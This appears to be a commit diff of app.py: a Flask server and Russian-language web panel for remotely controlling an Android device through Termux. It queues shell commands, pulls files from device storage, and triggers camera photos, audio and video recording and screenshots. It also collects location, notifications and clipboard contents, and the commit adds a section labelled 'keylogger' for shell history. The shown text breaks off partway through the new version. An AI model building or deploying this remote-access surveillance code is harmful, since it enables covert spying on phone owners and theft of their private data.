Aleksmorshen commited on
Commit
0501ab5
·
verified ·
1 Parent(s): 1d7daa1

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +182 -236
app.py CHANGED
@@ -3,7 +3,7 @@ import os
3
  import datetime
4
  import uuid
5
  import werkzeug.utils
6
- import json
7
 
8
  app = Flask(__name__)
9
  app.config['UPLOAD_FOLDER'] = 'uploads_from_client'
@@ -15,11 +15,11 @@ os.makedirs(app.config['FILES_TO_CLIENT_FOLDER'], exist_ok=True)
15
  pending_command = None
16
  command_output = "Ожидание команд..."
17
  last_client_heartbeat = None
18
- current_client_path = "~"
19
  file_to_send_to_client = None
20
  device_status_info = {}
21
  notifications_history = []
22
-
23
 
24
  HTML_TEMPLATE = """
25
  <!DOCTYPE html>
@@ -59,12 +59,12 @@ HTML_TEMPLATE = """
59
  .hidden-section { display: none; }
60
  .status-item { margin-bottom: 10px; }
61
  .status-item strong { color: #333; }
62
- .status-item pre { margin-top: 5px; font-size:0.9em; }
63
  .notification-list { max-height: 400px; overflow-y: auto; border: 1px solid #ddd; padding: 10px; background-color: #fdfdfd;}
64
  .notification-item { border-bottom: 1px solid #eee; padding: 8px 0; margin-bottom: 8px; }
65
  .notification-item:last-child { border-bottom: none; }
66
  .notification-item strong { display: block; color: #555; }
67
  .notification-item span { font-size: 0.9em; color: #777; }
 
68
  </style>
69
  <script>
70
  let currentView = 'dashboard';
@@ -76,9 +76,10 @@ HTML_TEMPLATE = """
76
  document.querySelector(`.sidebar a[href="#${sectionId}"]`).classList.add('active');
77
  currentView = sectionId;
78
  if (sectionId === 'files') refreshClientPathDisplay();
79
- if (sectionId === 'device_status') requestDeviceStatus();
80
  if (sectionId === 'notifications') requestNotifications();
81
- refreshOutput(); // Refresh output relevant to the new section
 
82
  }
83
 
84
  async function refreshOutput() {
@@ -86,16 +87,17 @@ HTML_TEMPLATE = """
86
  const response = await fetch('/get_status_output');
87
  const data = await response.json();
88
 
89
- if (data.output && (currentView === 'dashboard' || currentView === 'shell' || currentView === 'media' || currentView === 'clipboard' || currentView === 'utils')) {
 
90
  document.getElementById('outputArea').innerText = data.output;
91
  }
92
-
93
  if (data.last_heartbeat) {
94
  const statusDiv = document.getElementById('clientStatus');
95
  const lastBeat = new Date(data.last_heartbeat);
96
  const now = new Date();
97
  const diffSeconds = (now - lastBeat) / 1000;
98
- if (diffSeconds < 45) {
99
  statusDiv.className = 'status online';
100
  statusDiv.innerText = 'Клиент ОНЛАЙН (Пинг: ' + lastBeat.toLocaleTimeString() + ')';
101
  } else {
@@ -108,87 +110,68 @@ HTML_TEMPLATE = """
108
  }
109
 
110
  if (data.current_path && currentView === 'files') {
111
- document.getElementById('currentPathDisplay').innerText = data.current_path;
112
  if (data.output && data.output.startsWith("Содержимое") ) {
113
  renderFileList(data.output, data.current_path);
114
- } else if (data.output && currentView === 'files') { // If output is error/message for files view
115
  document.getElementById('fileList').innerHTML = `<li>${data.output.replace(/\\n/g, '<br>')}</li>`;
116
  }
117
  }
118
-
119
  const filesResponse = await fetch('/list_uploaded_files');
120
  const filesData = await filesResponse.json();
121
  const serverFileListUl = document.getElementById('serverUploadedFiles');
122
- serverFileListUl.innerHTML = '';
123
  if (filesData.files && filesData.files.length > 0) {
124
  filesData.files.forEach(file => {
125
  const li = document.createElement('li');
126
  const a = document.createElement('a');
127
  a.href = '/uploads_from_client/' + encodeURIComponent(file);
128
  a.textContent = file;
129
- a.target = '_blank';
130
  li.appendChild(a);
131
  serverFileListUl.appendChild(li);
132
  });
133
  } else {
134
  serverFileListUl.innerHTML = '<li>Нет загруженных файлов с клиента.</li>';
135
  }
136
-
137
  if (data.device_status && currentView === 'device_status') {
138
  updateDeviceStatusDisplay(data.device_status);
139
  }
140
  if (data.notifications && currentView === 'notifications') {
141
  renderNotifications(data.notifications);
142
  }
 
 
 
143
 
144
  } catch (error) {
145
  console.error("Error refreshing data:", error);
146
- if (currentView === 'dashboard' || currentView === 'shell' || currentView === 'media' || currentView === 'clipboard' || currentView === 'utils') {
147
  document.getElementById('outputArea').innerText = "Ошибка обновления данных с сервера.";
148
  }
149
  }
150
  }
151
-
152
  function updateDeviceStatusDisplay(status) {
153
- let batteryText = '<strong>Заряд:</strong> Н/Д';
154
- if (status.battery) {
155
- if (status.battery.error) batteryText = `<strong>Заряд:</strong> Ошибка (${status.battery.error})`;
156
- else batteryText = `<strong>Заряд:</strong> ${status.battery.percentage}% (${status.battery.status}, ${status.battery.health})`;
157
- }
158
- document.getElementById('batteryStatus').innerHTML = batteryText;
159
-
160
- let locationText = '<strong>Локация:</strong> Н/Д (Запросите для обновления)';
161
- let mapLink = '';
162
- if (status.location) {
163
- if (status.location.error) locationText = `<strong>Локация:</strong> Ошибка (${status.location.error})`;
164
- else {
165
- locationText = `<strong>Локация:</strong> ${status.location.latitude}, ${status.location.longitude} (Точность: ${status.location.accuracy}м, Скорость: ${status.location.speed} м/с)`;
166
- if (status.location.latitude && status.location.longitude) {
167
- mapLink = `<a href="https://www.google.com/maps?q=${status.location.latitude},${status.location.longitude}" target="_blank">Показать на карте Google</a>`;
168
- }
169
- }
170
  }
171
- document.getElementById('locationStatus').innerHTML = locationText;
172
- document.getElementById('locationMapLink').innerHTML = mapLink;
173
-
174
  document.getElementById('processesStatus').innerHTML = status.processes ? `<pre>${status.processes}</pre>` : '<strong>Процессы:</strong> Н/Д (Запросите для обновления)';
175
-
176
- let activityText = '<strong>Текущая активность:</strong> Н/Д';
177
- if (status.foreground_activity) {
178
- activityText = `<strong>Текущая активность:</strong> <pre>${status.foreground_activity}</pre>`;
179
- }
180
- document.getElementById('activityStatus').innerHTML = activityText;
181
  }
182
 
183
  function renderFileList(lsOutput, currentPath) {
184
  const fileListUl = document.getElementById('fileList');
185
  fileListUl.innerHTML = '';
186
- const lines = lsOutput.split('\\n'); // Assuming server sends \n for newlines
187
-
188
- let isRootOrHome = (currentPath === '/' || currentPath === '~'); // Simplified check
189
- // A more robust check might involve comparing to actual home path from server if available
190
 
191
- if (!isRootOrHome && currentPath !== osPathToUserFriendly(currentPath, true)) { // Avoid '..' if already at a root-like path
 
192
  const parentLi = document.createElement('li');
193
  parentLi.className = 'dir';
194
  const parentA = document.createElement('a');
@@ -204,33 +187,33 @@ HTML_TEMPLATE = """
204
  const parts = line.match(/^(\\[[DF]\\])\\s*(.*)/);
205
  if (!parts) return;
206
 
207
- const type = parts[1];
208
  const name = parts[2].trim();
209
-
210
  const li = document.createElement('li');
211
  const nameSpan = document.createElement('span');
212
  const a = document.createElement('a');
213
  a.href = '#';
214
-
215
  if (type === '[D]') {
216
  li.className = 'dir';
217
  a.innerHTML = `<span class="file-icon">📁</span> ${name}`;
218
  a.onclick = (e) => { e.preventDefault(); navigateTo(name); };
219
  nameSpan.appendChild(a);
220
- } else {
221
  li.className = 'file';
222
  a.innerHTML = `<span class="file-icon">📄</span> ${name}`;
223
- // a.onclick = (e) => { e.preventDefault(); }; // No action on file click itself
224
  nameSpan.appendChild(a);
225
 
226
  const downloadBtn = document.createElement('button');
227
  downloadBtn.className = 'download-btn';
228
  downloadBtn.textContent = 'Скачать';
229
  downloadBtn.onclick = (e) => { e.preventDefault(); requestDownloadFile(name); };
230
- li.appendChild(nameSpan);
231
- li.appendChild(downloadBtn);
232
  }
233
- if (type === '[D]') li.appendChild(nameSpan);
234
  fileListUl.appendChild(li);
235
  });
236
  }
@@ -255,26 +238,20 @@ HTML_TEMPLATE = """
255
  notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
256
  }
257
  }
258
-
259
- function osPathToUserFriendly(path, checkRoot = false) { // This is a client-side helper, might not perfectly match server logic
260
  if (path.startsWith('/data/data/com.termux/files/home')) {
261
  let relPath = path.substring('/data/data/com.termux/files/home'.length);
262
  if (relPath === '' || relPath === '/') return '~';
263
  return '~' + relPath;
264
  }
265
- if (checkRoot && path === '/') return '/';
266
  return path;
267
  }
268
-
269
  async function sendGenericCommand(payload) {
270
  try {
271
- // Set output area text based on context
272
- if (currentView === 'files' && (payload.command_type === 'list_files' || payload.command_type === 'request_download_file')) {
273
- // For file operations, output is handled by fileList or global output area later
274
- } else if (document.getElementById('outputArea')) {
275
- document.getElementById('outputArea').innerText = "Отправка команды...";
276
- }
277
-
278
  const response = await fetch('/send_command', {
279
  method: 'POST',
280
  headers: { 'Content-Type': 'application/json' },
@@ -282,29 +259,26 @@ HTML_TEMPLATE = """
282
  });
283
  if (!response.ok) {
284
  console.error("Server error sending command");
285
- if (document.getElementById('outputArea')) document.getElementById('outputArea').innerText = "Ошибка сервера при отправке команды.";
286
- }
287
- // Result will be updated by refreshOutput
288
  } catch (error) {
289
  console.error("Network error sending command:", error);
290
- if (document.getElementById('outputArea')) document.getElementById('outputArea').innerText = "Сетевая ошибка при отправке команды.";
291
  }
292
  }
293
 
294
  function navigateTo(itemName) {
295
  sendGenericCommand({ command_type: 'list_files', path: itemName });
296
- if (currentView === 'files') {
297
  document.getElementById('fileList').innerHTML = '<li>Загрузка...</li>';
298
  }
299
  }
300
 
301
  function requestDownloadFile(filename) {
302
- sendGenericCommand({ command_type: 'request_download_file', filename: filename });
303
- if (document.getElementById('outputArea')) {
304
- document.getElementById('outputArea').innerText = `Запрос на скачивание файла ${filename}... Ожидайте появления в разделе "Загрузки с клиента".`;
305
- }
306
  }
307
-
308
  function refreshClientPathDisplay(){
309
  if (document.getElementById('currentPathDisplay')) {
310
  fetch('/get_status_output').then(r=>r.json()).then(data => {
@@ -316,9 +290,9 @@ HTML_TEMPLATE = """
316
  window.onload = () => {
317
  showSection('dashboard');
318
  setInterval(refreshOutput, 4000);
319
- refreshOutput();
320
  };
321
-
322
  function submitShellCommand(event) {
323
  event.preventDefault();
324
  const command = document.getElementById('command_str').value;
@@ -326,25 +300,24 @@ HTML_TEMPLATE = """
326
  document.getElementById('command_str').value = '';
327
  }
328
 
329
- function submitMediaCommand(type, paramsConfig) {
330
  let payload = { command_type: type };
331
- if (paramsConfig) {
332
- paramsConfig.forEach(p => {
333
- const inputElement = document.getElementById(p.id);
334
- if (inputElement) {
335
- const value = inputElement.value;
336
- if (value) payload[p.name] = value;
337
- }
338
- });
339
  }
340
  sendGenericCommand(payload);
341
  }
342
-
343
  async function handleUploadToServer(event) {
344
  event.preventDefault();
345
  const fileInput = document.getElementById('fileToUploadToDevice');
346
  const targetPathInput = document.getElementById('targetDevicePath');
347
-
348
  if (!fileInput.files[0]) {
349
  alert("Пожалуйста, выберите файл для загрузки.");
350
  return;
@@ -357,7 +330,7 @@ HTML_TEMPLATE = """
357
  const formData = new FormData();
358
  formData.append('file_to_device', fileInput.files[0]);
359
  formData.append('target_path_on_device', targetPathInput.value);
360
-
361
  document.getElementById('uploadToDeviceStatus').innerText = 'Загрузка файла на сервер...';
362
 
363
  try {
@@ -368,10 +341,11 @@ HTML_TEMPLATE = """
368
  const result = await response.json();
369
  if (result.status === 'success') {
370
  document.getElementById('uploadToDeviceStatus').innerText = 'Файл загружен на сервер, ожидание отправки клиенту. Имя файла на сервере: ' + result.server_filename;
371
- sendGenericCommand({
372
- command_type: 'receive_file',
373
- server_filename: result.server_filename,
374
- target_path_on_device: result.target_path_on_device
 
375
  });
376
  } else {
377
  document.getElementById('uploadToDeviceStatus').innerText = 'Ошибка: ' + result.message;
@@ -380,7 +354,7 @@ HTML_TEMPLATE = """
380
  document.getElementById('uploadToDeviceStatus').innerText = 'Сетевая ошибка при загрузке файла на сервер: ' + error;
381
  }
382
  }
383
-
384
  function getClipboard() {
385
  sendGenericCommand({ command_type: 'clipboard_get' });
386
  }
@@ -399,21 +373,19 @@ HTML_TEMPLATE = """
399
  function requestDeviceStatus(item = null) {
400
  let payload = { command_type: 'get_device_status' };
401
  if (item) {
402
- payload.item = item;
403
  }
404
  sendGenericCommand(payload);
405
- // Clear specific status part to show "loading" or wait for refreshOutput
406
- if (item === 'location' && document.getElementById('locationStatus')) document.getElementById('locationStatus').innerHTML = '<strong>Локация:</strong> Загрузка...';
407
- if (item === 'battery' && document.getElementById('batteryStatus')) document.getElementById('batteryStatus').innerHTML = '<strong>Заряд:</strong> Загрузка...';
408
- if (item === 'processes' && document.getElementById('processesStatus')) document.getElementById('processesStatus').innerHTML = '<strong>Процессы:</strong> Загрузка...';
409
- if (item === 'foreground_activity' && document.getElementById('activityStatus')) document.getElementById('activityStatus').innerHTML = '<strong>Текущая активность:</strong> Загрузка...';
410
-
411
  }
412
  function requestNotifications() {
413
  sendGenericCommand({ command_type: 'get_notifications' });
414
- if (document.getElementById('notificationList')) document.getElementById('notificationList').innerHTML = '<p>Загрузка уведомлений...</p>';
 
 
 
415
  }
416
 
 
417
  </script>
418
  </head>
419
  <body>
@@ -428,6 +400,7 @@ HTML_TEMPLATE = """
428
  <li><a href="#media" onclick="showSection('media')">Медиа</a></li>
429
  <li><a href="#clipboard" onclick="showSection('clipboard')">Буфер обмена</a></li>
430
  <li><a href="#utils" onclick="showSection('utils')">Утилиты</a></li>
 
431
  <li><a href="#uploads" onclick="showSection('uploads')">Загрузки с клиента</a></li>
432
  </ul>
433
  <div style="margin-top: auto; font-size: 0.8em; color: #aaa; text-align:center; padding-bottom:10px;">
@@ -462,19 +435,13 @@ HTML_TEMPLATE = """
462
  <div id="locationMapLink" class="status-item"></div>
463
  <button onclick="requestDeviceStatus('location')">Обновить геолокацию</button>
464
  </div>
465
- <div class="control-section">
466
  <h3>Запущенные процессы (пользователя Termux)</h3>
467
  <div id="processesStatus" class="status-item"><strong>Процессы:</strong> Н/Д</div>
468
  <button onclick="requestDeviceStatus('processes')">Обновить процессы</button>
469
  </div>
470
- <div class="control-section">
471
- <h3>Активность (Фокусное приложение)</h3>
472
- <div id="activityStatus" class="status-item"><strong>Текущая активность:</strong> Н/Д</div>
473
- <button onclick="requestDeviceStatus('foreground_activity')">Получить текущую активность</button>
474
- <p style="font-size:0.8em; color:#777;">Это не кейлоггер, а информация о приложении в фокусе. Помогает понять, что используется на устройстве.</p>
475
- </div>
476
  </div>
477
-
478
  <div id="notifications" class="container hidden-section">
479
  <h2>Уведомления устройства</h2>
480
  <button onclick="requestNotifications()">Обновить уведомления</button>
@@ -491,8 +458,8 @@ HTML_TEMPLATE = """
491
  <p>Текущий путь на клиенте: <strong id="currentPathDisplay">~</strong></p>
492
  <button onclick="navigateTo('~')">Домашняя папка (~)</button>
493
  <button onclick="navigateTo('/sdcard/')">Внутренняя память (/sdcard/)</button>
494
- <input type="text" id="customPathInput" placeholder="/sdcard/Download" style="width:auto; display:inline-block; margin-left:5px; margin-right:5px; vertical-align: middle;">
495
- <button onclick="navigateTo(document.getElementById('customPathInput').value)">Перейти к пути</button>
496
  <div class="file-browser control-section">
497
  <h3>Содержимое директории:</h3>
498
  <ul id="fileList">
@@ -504,7 +471,7 @@ HTML_TEMPLATE = """
504
  <form id="uploadForm" onsubmit="handleUploadToServer(event)">
505
  <label for="fileToUploadToDevice">Выберите файл:</label>
506
  <input type="file" id="fileToUploadToDevice" name="file_to_device" required>
507
- <label for="targetDevicePath">Путь для сохранения на устройстве (например, `/sdcard/Download/` или `~/` или `/sdcard/file.txt`):</label>
508
  <input type="text" id="targetDevicePath" name="target_path_on_device" value="/sdcard/Download/" required>
509
  <button type="submit">Загрузить на устройство</button>
510
  </form>
@@ -528,24 +495,24 @@ HTML_TEMPLATE = """
528
  <div id="media" class="container hidden-section">
529
  <h2>Мультимедиа</h2>
530
  <div class="control-section">
531
- <button onclick="submitMediaCommand('take_photo', [{name: 'camera_id', id: 'camera_id_input'}])">Сделать фото</button>
532
  <label for="camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
533
  <input type="text" id="camera_id_input" value="0" style="width:50px; display:inline-block;">
534
  </div>
535
  <div class="control-section">
536
- <button onclick="submitMediaCommand('record_audio', [{name: 'duration', id: 'audio_duration_input'}])">Записать аудио</button>
537
  <label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
538
  <input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
539
  </div>
540
  <div class="control-section">
541
- <button onclick="submitMediaCommand('record_video', [{name: 'duration', id: 'video_duration_input'}, {name: 'camera_id', id: 'video_camera_id_input'}])">Записать видео</button>
542
  <label for="video_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
543
  <input type="text" id="video_duration_input" value="10" style="width:50px; display:inline-block;">
544
- <label for="video_camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
545
- <input type="text" id="video_camera_id_input" value="0" style="width:50px; display:inline-block;">
546
  </div>
547
  <div class="control-section">
548
- <button onclick="submitMediaCommand('screenshot', [])">Сделать скриншот</button>
549
  </div>
550
  <div class="control-section" style="margin-top:20px;">
551
  <h3>Результат операции:</h3>
@@ -581,6 +548,22 @@ HTML_TEMPLATE = """
581
  <pre id="outputAreaUtilsCopy"></pre>
582
  </div>
583
  </div>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
584
 
585
  <div id="uploads" class="container hidden-section">
586
  <h2>Файлы, загруженные С клиента на сервер</h2>
@@ -592,25 +575,22 @@ HTML_TEMPLATE = """
592
  </div>
593
  </div>
594
  <script>
595
- // This observer copies content from the main outputArea to section-specific ones
596
- // It's placed at the end to ensure all elements are loaded
597
  document.addEventListener('DOMContentLoaded', () => {
598
  const outputArea = document.getElementById('outputArea');
599
  const outputAreaShellCopy = document.getElementById('outputAreaShellCopy');
600
  const outputAreaMediaCopy = document.getElementById('outputAreaMediaCopy');
601
  const outputAreaClipboardCopy = document.getElementById('outputAreaClipboardCopy');
602
  const outputAreaUtilsCopy = document.getElementById('outputAreaUtilsCopy');
603
-
 
604
  const observer = new MutationObserver(() => {
605
- if (currentView === 'shell' && outputAreaShellCopy) outputAreaShellCopy.innerText = outputArea.innerText;
606
- if (currentView === 'media' && outputAreaMediaCopy) outputAreaMediaCopy.innerText = outputArea.innerText;
607
- if (currentView === 'clipboard' && outputAreaClipboardCopy) outputAreaClipboardCopy.innerText = outputArea.innerText;
608
- if (currentView === 'utils' && outputAreaUtilsCopy) outputAreaUtilsCopy.innerText = outputArea.innerText;
 
609
  });
610
-
611
- if (outputArea) {
612
- observer.observe(outputArea, { childList: true, characterData: true, subtree: true });
613
- }
614
  });
615
  </script>
616
  </body>
@@ -623,7 +603,7 @@ def index():
623
 
624
  @app.route('/send_command', methods=['POST'])
625
  def handle_send_command():
626
- global pending_command, command_output, file_to_send_to_client
627
 
628
  data = request.json
629
  command_output = "Ожидание выполнения..."
@@ -633,7 +613,7 @@ def handle_send_command():
633
  if command_type == 'list_files':
634
  path_requested = data.get('path', '.')
635
  pending_command = {'type': 'list_files', 'path': path_requested}
636
- elif command_type == 'request_download_file':
637
  filename = data.get('filename')
638
  if filename:
639
  pending_command = {'type': 'upload_to_server', 'filename': filename}
@@ -643,12 +623,8 @@ def handle_send_command():
643
  pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
644
  elif command_type == 'record_audio':
645
  pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
646
- elif command_type == 'record_video': # New command
647
- pending_command = {
648
- 'type': 'record_video',
649
- 'camera_id': data.get('camera_id', '0'),
650
- 'duration': data.get('duration', '10')
651
- }
652
  elif command_type == 'screenshot':
653
  pending_command = {'type': 'screenshot'}
654
  elif command_type == 'shell':
@@ -657,19 +633,20 @@ def handle_send_command():
657
  pending_command = {'type': 'shell', 'command': command_str}
658
  else:
659
  command_output = "Ошибка: Команда не указана."
660
- elif command_type == 'receive_file':
661
  server_filename = data.get('server_filename')
662
  target_path_on_device = data.get('target_path_on_device')
663
- if server_filename and target_path_on_device:
 
 
664
  file_path_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_filename)
665
  if os.path.exists(file_path_on_server):
666
  pending_command = {
667
- 'type': 'receive_file',
668
  'download_url': url_for('download_to_client', filename=server_filename, _external=True),
669
  'target_path': target_path_on_device,
670
- 'original_filename': os.path.basename(server_filename.split('_', 1)[1] if '_' in server_filename else server_filename) # Try to get original name
671
  }
672
- # file_to_send_to_client = None # This variable seems unused, perhaps remove
673
  else:
674
  command_output = f"Ошибка: Файл {server_filename} не найден на сервере для отправки клиенту."
675
  else:
@@ -686,13 +663,15 @@ def handle_send_command():
686
  else:
687
  command_output = "Ошибка: URL для открытия не указан."
688
  elif command_type == 'get_device_status':
689
- item_requested = data.get('item')
690
  pending_command = {'type': 'get_device_status', 'item': item_requested}
691
  elif command_type == 'get_notifications':
692
  pending_command = {'type': 'get_notifications'}
 
 
693
  else:
694
  command_output = "Неизвестный тип команды."
695
-
696
  return jsonify({'status': 'command_queued'})
697
 
698
 
@@ -701,14 +680,14 @@ def get_command():
701
  global pending_command
702
  if pending_command:
703
  cmd_to_send = pending_command
704
- pending_command = None
705
  return jsonify(cmd_to_send)
706
  return jsonify(None)
707
 
708
  @app.route('/submit_client_data', methods=['POST'])
709
  def submit_client_data():
710
- global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
711
-
712
  data = request.json
713
  if not data:
714
  return jsonify({'status': 'error', 'message': 'No data received'}), 400
@@ -717,7 +696,7 @@ def submit_client_data():
717
 
718
  if 'output' in data:
719
  new_output = data['output']
720
- max_len = 20000
721
  if len(new_output) > max_len:
722
  command_output = new_output[:max_len] + "\n... (output truncated)"
723
  else:
@@ -730,26 +709,24 @@ def submit_client_data():
730
  update = data['device_status_update']
731
  for key, value in update.items():
732
  device_status_info[key] = value
733
- # If an explicit status update came, it might be the primary "output"
734
- if 'output' not in data and (command_output == "Ожидание выполнения..." or command_output == "Клиент онлайн.") :
735
- command_output = "Статус устройства обновлен."
736
-
737
-
738
  if 'notifications_update' in data:
739
- notifications_history = data['notifications_update']
740
- if 'output' not in data and (command_output == "Ожидание выполнения..." or command_output == "Клиент онлайн."):
741
  command_output = "Список уведомлений обновлен."
 
 
 
 
 
742
 
743
 
744
  if 'heartbeat' in data and data['heartbeat']:
745
- # Only set to "Клиент онлайн" if no other more specific output was generated by the heartbeat or other updates
746
- if ('output' not in data and
747
- 'device_status_update' not in data and
748
- 'notifications_update' not in data and
749
- (command_output == "Ожидание выполнения..." or command_output == "Клиент онлайн.")): # Avoid overwriting real output
750
- command_output = "Клиент онлайн."
751
  return jsonify({'status': 'heartbeat_ok'})
752
-
753
  return jsonify({'status': 'data_received'})
754
 
755
  @app.route('/upload_from_client', methods=['POST'])
@@ -757,65 +734,45 @@ def upload_from_client_route():
757
  global command_output, last_client_heartbeat
758
  last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
759
  if 'file' not in request.files:
760
- # This error should ideally be part of the response to the client's upload,
761
- # but client_uploads_file_to_server doesn't use this response directly for its own output.
762
- # So, we update the general command_output.
763
- error_msg = "Ошибка на сервере: Файл не был отправлен клиентом (нет 'file' в request.files)."
764
- if command_output == "Ожидание выполнения...": command_output = error_msg
765
- return jsonify({'status': 'error', 'message': 'No file part'}), 400 # HTTP error for the request itself
766
-
767
  file = request.files['file']
768
  if file.filename == '':
769
- error_msg = "Ошибка на сервере: Клиент отправил файл без имени."
770
- if command_output == "Ожидание выполнения...": command_output = error_msg
771
- return jsonify({'status': 'error', 'message': 'No selected file'}), 400
772
 
773
  if file:
774
- filename = werkzeug.utils.secure_filename(file.filename)
 
775
 
776
- # Ensure unique filenames on server
777
- base_name, ext = os.path.splitext(filename)
778
  counter = 0
779
- # Append timestamp to avoid collision and help sorting, then counter if needed
780
- # Using a more unique initial name might be better (e.g., timestamp + original name)
781
- unique_filename_base = f"{base_name}_{int(datetime.datetime.utcnow().timestamp())}"
782
-
783
- filepath_candidate = os.path.join(app.config['UPLOAD_FOLDER'], f"{unique_filename_base}{ext}")
784
-
785
- while os.path.exists(filepath_candidate):
786
  counter += 1
787
- filepath_candidate = os.path.join(app.config['UPLOAD_FOLDER'], f"{unique_filename_base}_{counter}{ext}")
788
-
789
- final_filename = os.path.basename(filepath_candidate)
790
 
791
  try:
792
- file.save(filepath_candidate)
793
- # The client_uploads_file_to_server function in newfile.py will form its own success/error message.
794
- # This route's response is mainly for the HTTP request itself.
795
- # We can update `command_output` if the client didn't explicitly request this upload (e.g. for photo/audio)
796
  origin_command_type = request.form.get("origin_command_type", "unknown")
797
- if origin_command_type != "request_download_file": # If it's an auto-upload like photo, audio, video
798
- if command_output == "Ожидание выполнения...": # Don't overwrite more specific output
799
- command_output = f"Файл '{final_filename}' (тип: {origin_command_type}) успешно загружен С клиента."
800
- else: # If it was 'request_download_file', the client_uploads_file_to_server will generate its own message.
801
- pass
802
 
803
- return jsonify({'status': 'success', 'filename': final_filename, 'message': f'File {final_filename} uploaded.'})
804
  except Exception as e:
805
- error_msg = f"Ошибка сохранения файла от клиента: {str(e)}"
806
- if command_output == "Ожидание выполнения...": command_output = error_msg
807
- return jsonify({'status': 'error', 'message': str(e)}), 500
808
-
809
 
810
  @app.route('/get_status_output', methods=['GET'])
811
  def get_status_output_route():
812
- global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
813
  return jsonify({
814
- 'output': command_output,
815
  'last_heartbeat': last_client_heartbeat,
816
  'current_path': current_client_path,
817
  'device_status': device_status_info,
818
- 'notifications': notifications_history
 
819
  })
820
 
821
  @app.route('/uploads_from_client/<path:filename>')
@@ -826,65 +783,54 @@ def uploaded_file_from_client(filename):
826
  def list_uploaded_files_route():
827
  files = []
828
  try:
829
- # Sort files by modification time, newest first
830
- file_paths = [os.path.join(app.config['UPLOAD_FOLDER'], f) for f in os.listdir(app.config['UPLOAD_FOLDER']) if os.path.isfile(os.path.join(app.config['UPLOAD_FOLDER'], f))]
831
- file_paths.sort(key=lambda f: os.path.getmtime(f), reverse=True)
832
- files = [os.path.basename(f) for f in file_paths]
833
- except Exception as e:
834
- app.logger.error(f"Error listing uploaded files: {e}")
835
- pass
836
- return jsonify({'files': files})
837
 
838
 
839
  @app.route('/upload_to_server_for_client', methods=['POST'])
840
  def upload_to_server_for_client_route():
841
- global command_output # Use global command_output to provide feedback
842
  if 'file_to_device' not in request.files:
843
  return jsonify({'status': 'error', 'message': 'No file_to_device part in request'}), 400
844
-
845
  file = request.files['file_to_device']
846
  target_path_on_device = request.form.get('target_path_on_device')
847
 
848
  if file.filename == '':
849
  return jsonify({'status': 'error', 'message': 'No selected file for_device'}), 400
850
-
851
  if not target_path_on_device:
852
  return jsonify({'status': 'error', 'message': 'Target path on device not specified'}), 400
853
 
854
  if file:
855
  original_filename = werkzeug.utils.secure_filename(file.filename)
856
- # Use UUID to ensure server-side filename is unique to avoid conflicts before sending
857
- server_side_filename = str(uuid.uuid4()) + "_" + original_filename
858
  filepath_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_side_filename)
859
-
860
  try:
861
  file.save(filepath_on_server)
862
- # Update global command_output for user feedback in the main panel
863
- command_output = f"Файл {original_filename} загружен на сервер (как {server_side_filename}), готов к отправке клиенту в {target_path_on_device}."
 
 
864
  return jsonify({
865
- 'status': 'success',
866
- 'server_filename': server_side_filename, # This is the unique name on server's 'uploads_to_client'
867
- 'original_filename': original_filename, # Client will use this to save the file
868
- 'target_path_on_device': target_path_on_device
 
869
  })
870
  except Exception as e:
871
- app.logger.error(f"Error saving file for client: {e}")
872
- command_output = f"Ошибка сервера при сохранении файла для клиента: {str(e)}"
873
  return jsonify({'status': 'error', 'message': f'Server error saving file for client: {str(e)}'}), 500
874
-
875
- command_output = "Ошибка обработки файла на сервере для о��правки клиенту."
876
  return jsonify({'status': 'error', 'message': 'File processing failed on server'}), 500
877
 
878
  @app.route('/download_to_client/<filename>')
879
  def download_to_client(filename):
880
- # Filename here is the server_side_filename (UUID_original.ext)
881
  return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename, as_attachment=True)
882
 
883
 
884
  if __name__ == '__main__':
885
- # For Gradio/HF Spaces, port is often managed by the platform.
886
- # For local testing, you can use a specific port.
887
- # app.run(host='0.0.0.0', port=7860, debug=False)
888
- # HF Spaces usually injects PORT environment variable
889
- port = int(os.environ.get("PORT", 7860))
890
- app.run(host='0.0.0.0', port=port, debug=False)
 
3
  import datetime
4
  import uuid
5
  import werkzeug.utils
6
+ import json
7
 
8
  app = Flask(__name__)
9
  app.config['UPLOAD_FOLDER'] = 'uploads_from_client'
 
15
  pending_command = None
16
  command_output = "Ожидание команд..."
17
  last_client_heartbeat = None
18
+ current_client_path = "~"
19
  file_to_send_to_client = None
20
  device_status_info = {}
21
  notifications_history = []
22
+ shell_history_log = "" # NEW: To store shell history
23
 
24
  HTML_TEMPLATE = """
25
  <!DOCTYPE html>
 
59
  .hidden-section { display: none; }
60
  .status-item { margin-bottom: 10px; }
61
  .status-item strong { color: #333; }
 
62
  .notification-list { max-height: 400px; overflow-y: auto; border: 1px solid #ddd; padding: 10px; background-color: #fdfdfd;}
63
  .notification-item { border-bottom: 1px solid #eee; padding: 8px 0; margin-bottom: 8px; }
64
  .notification-item:last-child { border-bottom: none; }
65
  .notification-item strong { display: block; color: #555; }
66
  .notification-item span { font-size: 0.9em; color: #777; }
67
+ .disclaimer { background-color: #fff3cd; color: #856404; border: 1px solid #ffeeba; padding: 10px; border-radius: 5px; margin-bottom: 15px;}
68
  </style>
69
  <script>
70
  let currentView = 'dashboard';
 
76
  document.querySelector(`.sidebar a[href="#${sectionId}"]`).classList.add('active');
77
  currentView = sectionId;
78
  if (sectionId === 'files') refreshClientPathDisplay();
79
+ if (sectionId === 'device_status') requestDeviceStatus();
80
  if (sectionId === 'notifications') requestNotifications();
81
+ if (sectionId === 'keylogger') requestShellHistory(); // NEW
82
+ refreshOutput();
83
  }
84
 
85
  async function refreshOutput() {
 
87
  const response = await fetch('/get_status_output');
88
  const data = await response.json();
89
 
90
